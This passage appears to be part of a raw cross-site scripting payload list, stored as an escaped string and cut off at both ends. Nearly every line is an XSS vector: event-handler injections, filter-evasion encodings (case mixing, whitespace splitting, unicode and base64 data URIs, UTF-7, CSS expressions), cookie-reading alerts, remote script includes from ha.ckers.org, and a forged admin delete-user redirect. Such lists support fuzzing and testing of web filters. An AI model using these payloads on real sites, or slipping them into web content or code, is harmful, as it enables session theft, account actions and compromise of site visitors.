onmouseover=\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\">\\r\\n<a href=\\\"jAvAsCrIpT:alert(1)\\\">X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var onmouseover=\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a href=javascript:alert(document.cookie)>Click Here</a>\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"onerror=\\\'prompt(1)\\\'\\\">\\r\\n<%<!--\\\'%><script>alert(1);</script -->\\r\\n<script src=\\\"data:text/javascript,alert(1)\\\"></script>\\r\\n<iframe/src \\\\/\\\\/onload = prompt(1)\\r\\n<iframe/onreadystatechange=alert(1)\\r\\n<svg/onload=alert(1)\\r\\n<input value=<><iframe/src=javascript:confirm(1)\\r\\n<input type=\\\"text\\\" value=`` <div/onmouseover=\\\'alert(1)\\\'>X</div>\\r\\nhttp://www.<script>alert(1)</script .com\\r\\n<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>\\r\\n<svg><script ?>alert(1)\\r\\n<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>\\r\\n<img src=`xx:xx`onerror=alert(1)>\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;javascript:alert(1)\\\"/>\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs><script>MsgBox+1\\r\\n<a href=\\\"data:text/html;base64_,<svg/onload=\\\\u0061le%72t(1)>\\\">X</a\\r\\n<iframe/onreadystatechange=\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(\\\'\\\\u0061\\\') worksinIE>\\r\\n<script>~\\\'\\\\u0061\\\' ; \\\\u0074\\\\u0068\\\\u0072\\\\u006F\\\\u0077 ~ \\\\u0074\\\\u0068\\\\u0069\\\\u0073. \\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(~\\\'\\\\u0061\\\')</script U+\\r\\n<script/src=\\\"data:text%2Fj\\\\u0061v\\\\u0061script,\\\\u0061lert(\\\'\\\\u0061\\\')\\\"></script a=\\\\u0061 & /=%2F\\r\\n<script/src=data:text/j\\\\u0061v\\\\u0061script,\\\\u0061%6C%65%72%74(/XSS/)></script\\r\\n<object data=javascript:\\\\u0061le%72t(1)>\\r\\n<script>+-+-1-+-+alert(1)</script>\\r\\n<body/onload=<!-->
alert(1)>\\r\\n<script itworksinallbrowsers>/*<script* */alert(1)</script\\r\\n<img src ?itworksonchrome?\\\\/onerror = alert(1)\\r\\n<svg><script>//
confirm(1);</script </svg>\\r\\n<svg><script onlypossibleinopera:-)> alert(1)\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n<script x> alert(1) </script 1=2\\r\\n<div/onmouseover=\\\'alert(1)\\\'> style=\\\"x:\\\">\\r\\n<--`<img/src=` onerror=alert(1)> --!>\\r\\n <script/src=data:text/javascript,alert(1)></script>\\r\\n<div style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\" onclick=\\\"alert(1)\\\">x</button>\\r\\n\\\"><img src=x onerror=window.open(\\\'https://www.google.com/\\\');>\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\\\"></iframe>\\r\\n<a href=\\\"data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​\\\">Click Me</a>\\r\\n<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>\\r\\n‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=”jav ascript:alert(‘XSS’);”>\\r\\n<IMG SRC=”jav	ascript:alert(‘XSS’);”>\\r\\n<<SCRIPT>alert(“XSS”);//<</SCRIPT>\\r\\n%253cscript%253ealert(1)%253c/script%253e\\r\\n“><s”%2b”cript>alert(document.cookie)</script>\\r\\nfoo<script>alert(1)</script>\\r\\n<scr<script>ipt>alert(1)</scr</script>ipt>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<BODY BACKGROUND=”javascript:alert(‘XSS’)”>\\r\\n<BODY ONLOAD=alert(‘XSS’)>\\r\\n<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>\\r\\n<IMG SRC=”javascript:alert(‘XSS’)”\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\njavascript:alert(\\\"hellox worldss\\\")\\r\\n<img src=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<img src=javascript:alert("XSS")>\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search\\r\\n<script>alert(\\\"hellox worldss\\\")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510\\r\\n<script>alert(\\\"XSS\\\");</script>&search=1\\r\\n0&q=\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert%2?8String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode?(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search\\r\\n<h1><font color=blue>hellox worldss</h1>\\r\\n<BODY ONLOAD=alert(\\\'hellox worldss\\\')>\\r\\n<input onfocus=write(XSS) autofocus>\\r\\n<input onblur=write(XSS) autofocus><input autofocus>\\r\\n<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form><button formaction=\\\"javascript:alert(XSS)\\\">lol\\r\\n<!--<img src=\\\"--><img src=x onerror=alert(XSS)//\\\">\\r\\n<![><img src=\\\"]><img src=x onerror=alert(XSS)//\\\">\\r\\n<style><img src=\\\"</style><img src=x onerror=alert(XSS)//\\\">\\r\\n<? foo=\\\"><script>alert(1)</script>\\\">\\r\\n<! foo=\\\"><script>alert(1)</script>\\\">\\r\\n</ foo=\\\"><script>alert(1)</script>\\\">\\r\\n<? foo=\\\"><x foo=\\\'?><script>alert(1)</script>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo><script>alert(1)</script>\\\">\\r\\n<% foo><x foo=\\\"%><script>alert(123)</script>\\\">\\r\\n<div style=\\\"font-family:\\\'foo ;color:red;\\\';\\\">LOL\\r\\nLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>\\r\\n<script>({0:#0=alert/#0#/#0#(0)})</script>\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">LOL<script>alert(123)</script></svg>\\r\\n<SCRIPT>alert(/XSS/.source)</SCRIPT>\\r\\n\\\\\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\\\\\"XSS\\\\\\\");</SCRIPT>\\r\\n<INPUT TYPE=\\\\\\\"IMAGE\\\\\\\" SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<BODY BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<BODY ONLOAD=alert(\\\'XSS\\\')>\\r\\n<IMG DYNSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<IMG LOWSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<BGSOUND SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<BR SIZE=\\\\\\\"&{alert(\\\'XSS\\\')}\\\\\\\">\\r\\n<LAYER SRC=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></LAYER>\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"http://ha.ckers.org/xss.css\\\\\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\\\\\"Link\\\\\\\" Content=\\\\\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\\\\\">\\r\\n<STYLE>BODY{-moz-binding:url(\\\\\\\"http://ha.ckers.org/xssmoz.xml#xss\\\\\\\")}</STYLE>\\r\\n<XSS STYLE=\\\\\\\"behavior: url(xss.htc);\\\\\\\">\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\\\\\"XSS\\\\\\\")\\\'>\\r\\n<IMG SRC=\\\\\\\"mocha:[code]\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"livescript:[code]\\\\\\\">\\r\\nžscriptualert(EXSSE)ž/scriptu\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\\\\\"\\r\\n<IFRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<TABLE><TD BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"width: expression(alert(\\\'XSS\\\'));\\\\\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\\\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<XSS STYLE=\\\\\\\"xss:expression(alert(\\\'XSS\\\'))\\\\\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\\\\\"*//*\\\\\\\");\\r\\nxss:ex/*XSS*//*/*/pression(alert(\\\\\\\"XSS\\\\\\\"))\\\'>\\r\\n<STYLE TYPE=\\\\\\\"text/javascript\\\\\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\\\\\"text/css\\\\\\\">BODY{background:url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\")}</STYLE>\\r\\n<!--[if gte IE 4]>\\r\\n<SCRIPT>alert(\\\'XSS\\\');</SCRIPT>\\r\\n<![endif]-->\\r\\n<BASE HREF=\\\\\\\"javascript:alert(\\\'XSS\\\');//\\\\\\\">\\r\\n<OBJECT TYPE=\\\\\\\"text/x-scriptlet\\\\\\\" DATA=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(\\\'XSS\\\')></OBJECT>\\r\\n<EMBED SRC=\\\\\\\"http://ha.ckers.org/xss.swf\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\n<EMBED SRC=\\\\\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\\\\\" type=\\\\\\\"image/svg+xml\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\na=\\\\\\\"get\\\\\\\";\\r\\nb=\\\\\\\"URL(\\\\\\\\\\\"\\\\\\\";\\r\\nc=\\\\\\\"javascript:\\\\\\\";\\r\\nd=\\\\\\\"alert(\\\'XSS\\\');\\\\\\\\\\\")\\\\\\\";\\r\\neval(a+b+c+d);\\r\\n<HTML xmlns:xss><?import namespace=\\\\\\\"xss\\\\\\\" implementation=\\\\\\\"http://ha.ckers.org/xss.htc\\\\\\\"><xss:xss>XSS</xss:xss></HTML>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\\\\\"javas]]><![CDATA[cript:alert(\\\'XSS\\\');\\\\\\\">]]>\\r\\n</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<XML ID=\\\\\\\"xss\\\\\\\"><I><B><IMG SRC=\\\\\\\"javas<!-- -->cript:alert(\\\'XSS\\\')\\\\\\\"></B></I></XML>\\r\\n<SPAN DATASRC=\\\\\\\"#xss\\\\\\\" DATAFLD=\\\\\\\"B\\\\\\\" DATAFORMATAS=\\\\\\\"HTML\\\\\\\"></SPAN>\\r\\n<XML SRC=\\\\\\\"xsstest.xml\\\\\\\" ID=I></XML>\\r\\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<HTML><BODY>\\r\\n<?xml:namespace prefix=\\\\\\\"t\\\\\\\" ns=\\\\\\\"urn:schemas-microsoft-com:time\\\\\\\">\\r\\n<?import namespace=\\\\\\\"t\\\\\\\" implementation=\\\\\\\"#default#time2\\\\\\\">\\r\\n<t:set attributeName=\\\\\\\"innerHTML\\\\\\\" to=\\\\\\\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\\\\\\\">\\r\\n</BODY></HTML>\\r\\n<SCRIPT SRC=\\\\\\\"http://ha.ckers.org/xss.jpg\\\\\\\"></SCRIPT>\\r\\n<!--#exec cmd=\\\\\\\"/bin/echo \\\'<SCR\\\'\\\\\\\"--><!--#exec cmd=\\\\\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\\'\\\\\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';\\r\\necho(\\\'IPT>alert(\\\\\\\"XSS\\\\\\\")</SCRIPT>\\\'); ?>\\r\\n<IMG SRC=\\\\\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\\\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\\\\\"Set-Cookie\\\\\\\" Content=\\\\\\\"USERID=<SCRIPT>alert(\\\'XSS\\\')</SCRIPT>\\\\\\\">\\r\\n<HEAD><META HTTP-EQUIV=\\\\\\\"CONTENT-TYPE\\\\\\\" CONTENT=\\\\\\\"text/html; charset=UTF-7\\\\\\\"> </HEAD>+ADw-SCRIPT+AD4-alert(\\\'XSS\\\');+ADw-/SCRIPT+AD4-\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT =\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" \\\'\\\' SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT \\\\\\\"a=\\\'>\\\'\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT a=`>` SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\\\\\">\\\'>\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\\\\\"<SCRI\\\\\\\");</SCRIPT>PT SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<A HREF=\\\\\\\"http://66.102.7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://1113982867/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0x42.0x0000066.0x7.0x93/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0102.0146.0007.00000223/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"htt p://6 6.000146.0x7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//www.google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://ha.ckers.org@google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google:ha.ckers.org\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.google.com./\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"javascript:document.location=\\\'http://www.google.com/\\\'\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.gohttp://www.google.com/ogle.com/\\\\\\\">XSS</A>\\r\\n<\\r\\n%3C\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n\\\\x3c\\r\\n\\\\x3C\\r\\n\\\\u003c\\r\\n\\\\u003C\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html>\\r\\n<IMG SRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\"\\r\\n<SCRIPT SRC=//ha.ckers.org/.js>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>\\r\\n<<SCRIPT>alert(\\\\\\\"XSS\\\\\\\");//<</SCRIPT>\\r\\n<SCRIPT/SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\\\\\"XSS\\\\\\\")>\\r\\n<SCRIPT/XSS SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<IMG SRC=\\\\\\\" javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG SRC=java\\\\0script:alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")>\\\\\\\";\\\' > out\\r\\n<IMG SRC=\\\\\\\"jav
ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"jav
ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"jav	ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG \\\\\\\"\\\\\\\"\\\\\\\"><SCRIPT>alert(\\\\\\\"XSS\\\\\\\")</SCRIPT>\\\\\\\">\\r\\n<IMG SRC=`javascript:alert(\\\\\\\"RSnake says, \\\'XSS\\\'\\\\\\\")`>\\r\\n<IMG SRC=javascript:alert("XSS")>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n\\\'\\\';!--\\\\\\\"<XSS>=&{()}\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\\\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascrscriptipt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<IMG SRC=\\\"  javascript:alert(\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\"XSS\\\");</SCRIPT>\\r\\n¼script¾alert(¢XSS¢)¼/script¾\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\">\\r\\n<DIV STYLE=\\\"width: expression(alert(\\\'XSS\\\'));\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"xss:expression(alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" 